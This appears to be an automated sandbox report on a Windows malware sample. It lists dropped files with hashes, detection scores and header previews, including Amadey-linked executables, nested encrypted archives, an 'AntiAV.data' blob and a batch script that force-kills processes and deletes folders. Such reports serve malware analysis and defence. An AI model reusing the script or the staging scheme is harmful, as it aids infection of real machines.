MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ishseepu.0zw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nuy5ucmd.rba.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z3huhx22.ctr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3289088
Entropy (8bit):	6.613909371616506
Encrypted:	false
SSDEEP:	49152:k4HtEx2aA9j9Gst1RPlc6eqEgbcVCaY8MBVkBiS5wRwnij4Pk:5e9Ujgst1RPlc6eubCCaBPhWRBE
MD5:	B54CF9188652A3BFE166D33C542F8AC6
SHA1:	4335FA4D75AB3BA85613D163F8F930D9ADF087CE
SHA-256:	0F1D1AED639362CE37EDDE5B4C278555BEC835B1A5D3D5B90A7B8BBCE0D83B86
SHA-512:	B6EF0F5C0DB58BED81C3C8C5F506942503C00D7C97099AC52B290567FE2578B88B8D5589715583B1B7B80F6A30E344E870F416EDA0A241ED002B8FEA0171892F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................02...........@..........................`2......'3...@.................................W...k.............................2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...jlvlbxwn.p+......p+.................@...hiserdkf..... 2.......2.............@....taggant.0...02.."....2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439296
Entropy (8bit):	6.4903731089009495
Encrypted:	false
SSDEEP:	12288:v4RG6lx/9Njr18QlSfJy4FjMSkJCzDLGDWD:O9NtSTZMzmmD4
MD5:	51FF79B406CB223DD49DD4C947EC97B0
SHA1:	B9B0253480A1B6CBDD673383320FECAE5EFB3DCE
SHA-256:	2E3A5DFA44D59681A60D78B8B08A1AF3878D8E270C02D7E31A0876A85EB42A7E
SHA-512:	C2B8D15B0DC1B0846F39CE007BE2DEB41D5B6AE76AF90D618F29DA8691ED987C42F3C270F0EA7F4D10CBD2D3877118F4133803C9C965B6FF236FF8CFAFD9367C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L....3dg............................'.............@..........................0............@..................................E...................................E......8...............................@...............<............................text...j........................... ..`.rdata...H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

